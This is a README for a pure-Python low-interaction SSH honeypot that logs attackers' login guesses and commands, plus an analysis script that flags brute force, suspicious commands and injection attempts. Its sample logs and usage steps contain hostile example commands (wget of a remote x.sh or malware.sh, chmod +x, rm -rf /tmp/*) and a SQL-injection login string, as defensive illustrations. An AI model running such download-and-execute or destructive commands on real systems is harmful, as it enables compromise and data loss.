sarthakdewanda/ssh-honeypot
GitHub: sarthakdewanda/ssh-honeypot
一个用纯 Python 编写的低交互 SSH 蜜罐,通过模拟虚假服务器捕获攻击者的凭据与命令,并自动生成行为分析报告。
Stars: 0 | Forks: 0
# 🐝 SSH 蜜罐
一个用纯 Python 编写的低交互 SSH 蜜罐。它模拟一个 SSH 服务器,捕获任何连接者的凭据猜测和登录后命令,并附带一个分析器,可以将原始日志转换为简短的报告——包括对暴力破解尝试、可疑命令和注入式输入的检测。
## 📑 目录
- [概述](#overview)
- [工作原理](#how-it-works)
- [功能](#features)
- [输出示例](#sample-output)
- [演示](#demo)
- [前置条件](#prerequisites)
- [设置](#setup)
- [用法](#usage)
- [项目结构](#project-structure)
- [调整蜜罐](#tuning-the-honeypot)
- [安全说明与局限性](#safety-notes--limitations)
- [资源](#resources)
## 概述
SSH 是互联网上受攻击最频繁的服务之一——自动化扫描器和机器人不断尝试猜测其凭据。该项目搭建了一个看起来足够逼真以吸引此类流量的虚假 SSH 服务器,然后将重心完全放在**观察**上:每一次登录尝试以及之后输入的每一条命令都会被捕获并记录到结构化日志中,随后一个独立的分析脚本会将该日志转换为一份简短的攻击者行为报告。
所有设置——端口、虚假 banner、在“接受”登录前拒绝的次数以及预设的 shell 响应——都集中在一个 `config.py` 文件中,与 `honeypot.py` 和 `analyze.py` 中的逻辑保持分离。
本项目作为一个小型的、独立的作品集项目构建。没有数据库,没有外部依赖包,没有云服务——一切均使用 Python 标准库在本地运行。
## 工作原理
```
┌────────────────────────────┐
│ Attacker connects to │
│ port 2222 │
└─────────────┬──────────────┘
│
┌──────┴───────┐
│ Fake SSH │
│ banner sent │
└──────┬───────┘
│
┌──────┴───────┐
│ Login prompt │
│ (deny x3, │
│ then accept) │
└──────┬───────┘
│
┌───────────┴────────────┐
│ │
┌────┴─────┐ ┌───────┴────────┐
│ Denied │ │ Fake Shell │
│ Access │ │ (executes │
│ denied. │ │ nothing) │
└──────────┘ │ │
│ • whoami, ls -la│
│ • cat notes.txt │
│ • wget, rm -rf, │
│ etc. — logged │
│ not run │
└───────┬─────────┘
│
┌───────┴────────┐
│ logs/ │
│ honeypot.log │
│ (JSON Lines) │
└───────┬────────┘
│
┌───────┴────────┐
│ analyze.py │
│ • top users/ │
│ passwords │
│ • brute-force │
│ • suspicious │
│ commands │
│ • injection │
│ attempts │
└────────────────┘
```
| 组件 | 作用 |
| ----------------- | ----------------------------------------------------------------------------------------- |
| `config.py` | 集中管理所有设置——端口、banner、拒绝阈值、日志路径、虚假 shell 响应 |
| `honeypot.py` | 服务器端:发送 banner,运行登录提示,将接受的登录引入虚假 shell,记录所有事件 |
| `analyze.py` | 读取 `logs/honeypot.log` 并打印摘要统计信息及三项检测检查 |
## 功能
- **逼真的虚假 SSH banner** (`SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5`),让扫描器将其视为真实服务器
- **先拒绝后接受登录** —— 前几次尝试会像真实服务器拒绝错误密码一样被拒绝,从而确保暴力破解行为能在捕获的数据中显现出来,随后才将“攻击者”放入虚假 shell 中
- **带命令捕获的虚假 shell** —— 一个 `root@ubuntu-server:~#` 提示符,模拟一个相当完整的小型服务器环境(系统信息、文件列表、cron 任务、日志、备份脚本、网络配置等),会记录输入的每一条命令,但不执行任何操作
- **多客户端处理** —— 结合线程与单客户端超时机制,确保单个缓慢或无响应的连接不会阻塞其他连接或导致服务器挂起
- **结构化 JSON Lines 日志记录** —— 每个事件对应一个干净、可解析的 JSON 对象 (`logs/honeypot.log`)
- **内置分析与检测** —— 排名列前的用户名/密码/命令/IP,外加:
- 暴力破解检测(单个 IP 登录尝试超过设定阈值)
- 可疑命令检测(`wget`、`curl`、`rm -rf`、读取 `/etc/passwd` 等)
- 登录字段的注入尝试检测(如 `admin' OR '1'='1`)—— 仅进行标记,绝不执行
- 纯 Python 标准库 —— 无需安装任何依赖,不会产生任何破坏
## 输出示例
**捕获的日志 (`logs/honeypot.log`)** —— 每行一个 JSON 对象:
```
{"event": "login", "ip": "192.0.2.10", "port": 40001, "username": "root", "password": "123456", "success": false, "time": "2026-07-06 20:36:37"}
{"event": "command", "ip": "192.0.2.10", "port": 40001, "command": "wget http://198.51.100.5/x.sh", "time": "2026-07-06 20:36:37"}
{"event": "login", "ip": "203.0.113.7", "port": 51110, "username": "admin' OR '1'='1", "password": "x", "success": false, "time": "2026-07-06 20:36:37"}
```
**分析器输出 (`python3 analyze.py`):**
```
====================================================
SSH HONEYPOT — LOG ANALYSIS
====================================================
Total events: 14
Login attempts: 9
Commands captured: 5
Unique source IPs: 3
Top usernames tried:
7 'root'
1 "admin' OR '1'='1"
1 'pi'
----------------------------------------------------
DETECTION
----------------------------------------------------
Brute-force IPs (>= 5 login attempts):
[!] 192.0.2.10 — 7 attempts
Suspicious commands:
[!] 192.0.2.10 — 'wget http://198.51.100.5/x.sh'
[!] 192.0.2.10 — 'chmod +x x.sh'
[!] 192.0.2.10 — 'rm -rf /tmp/*'
Injection attempts in login fields:
[!] 203.0.113.7 — username="admin' OR '1'='1"
```
包含完整日志和分析输出的完整示例:[`docs/sample_output.md`](docs/sample_output.md)。
## 演示
**暴力破解拒绝及随后的访问授予** —— 前三个错误密码被拒绝,第四个被“接受”,同时蜜罐自身的终端(下方面板)会实时记录每次尝试:

**在虚假 shell 中捕获的命令** —— `ls`、`whoami` 以及模拟的恶意软件下载 (`wget`) 均由攻击者输入、被记录且从未被执行:

## 前置条件
- Python 3.7+
- 无需外部依赖包 —— 仅使用标准库 (`socket`, `threading`, `json`, `collections`)
## 设置
### 1. 克隆或下载项目
```
git clone https://github.com//ssh-honeypot.git
cd ssh-honeypot
```
## 用法
**1. 启动蜜罐:**
```
python3 honeypot.py
```
你应该会看到:`[*] Honeypot listening on 127.0.0.1:2222`
**2. 在另一个终端中,连接到它:**
```
ncat 127.0.0.1 2222
```
*(使用 `telnet 127.0.0.1 2222` 也可以。)*
尝试登录——前三次尝试将被拒绝,随后你将进入虚假 shell。尝试输入一些命令(`whoami`、`ls`,或者像 `wget http://example.com/malware.sh` 这种攻击者可能会运行的命令),然后输入 `exit`。
**3. 停止蜜罐**,请按 `Ctrl+C`。
**4. 分析捕获到的内容:**
```
python3 analyze.py
```
## 项目结构
```
ssh-honeypot/
├── honeypot.py # the honeypot server
├── analyze.py # log analysis + detection
├── config.py # all settings in one place
├── logs/
│ └── honeypot.log # generated at runtime (git-ignored)
├── docs/
│ ├── sample_output.md # full example log + analysis output
│ └── screenshots/ # demo screenshots used in this README
├── requirements.txt # standard library only
├── .gitignore
└── README.md
```
## 调整蜜罐
所有可调整的参数都位于 `config.py` 中,因此无需修改 `honeypot.py` 或 `analyze.py` 中的逻辑即可改变其行为:
- `PORT` —— 蜜罐监听的端口
- `SSH_BANNER` / `HOSTNAME` —— 向客户端展示的虚假服务器身份
- `DENY_ATTEMPTS` —— 在“接受”登录之前需要拒绝的登录次数
- `CLIENT_TIMEOUT` —— 断开无响应客户端前的等待时间
- `FAKE_RESPONSES` —— 一组逼真的预设 shell 响应(`whoami`、`ls -la`、`cat notes.txt`、`crontab -l`、`ps aux`、日志尾部等),让虚假 shell 感觉像是一个真实的小型服务器
检测阈值(`BRUTE_FORCE_THRESHOLD`、可疑命令关键字列表以及注入特征)位于 `analyze.py` 的顶部。
## 安全说明与局限性
- 这是一个**低交互**蜜罐:它只负责监听、读取输入并写入日志。它绝不会执行攻击者发送的任何内容,虚假 shell 背后也没有真实的文件系统或账户。
- 默认情况下,它绑定到 `127.0.0.1` 的高端口 (2222),因此在测试期间不会暴露任何内容——在本地测试中捕获的所有流量似乎都来自 `127.0.0.1`,因为这是唯一能访问到它的源地址。
- 登录提示是一个简化的明文提示,而不是完整的加密 SSH 协议。这是一个刻意的简化设计:它能干净利落地捕获*谁在尝试什么*,这正是低交互蜜罐的意义所在,同时又避免了实现真实 SSH 协议的复杂性。
- 将蜜罐暴露于真实的互联网流量是一个独立的、审慎的决定,需要适当的隔离(使用一次性的云主机,而不是家庭网络,同时转移或加固真实的 SSH 服务,并配置最小化防火墙)——本项目专为安全的本地使用而构建和编写文档。
## 资源
- [SSH 协议概述 (RFC 4253)](https://www.rfc-editor.org/rfc/rfc4253)
- [JSON Lines 格式](https://jsonlines.org/)
- [The Honeynet Project](https://www.honeynet.org/) —— 关于蜜罐研究的背景知识
标签:AMSI绕过, Python, SSH, 威胁检测, 攻击行为分析, 无后门, 红队行动, 网络安全, 蜜罐, 证书利用, 逆向工具, 隐私保护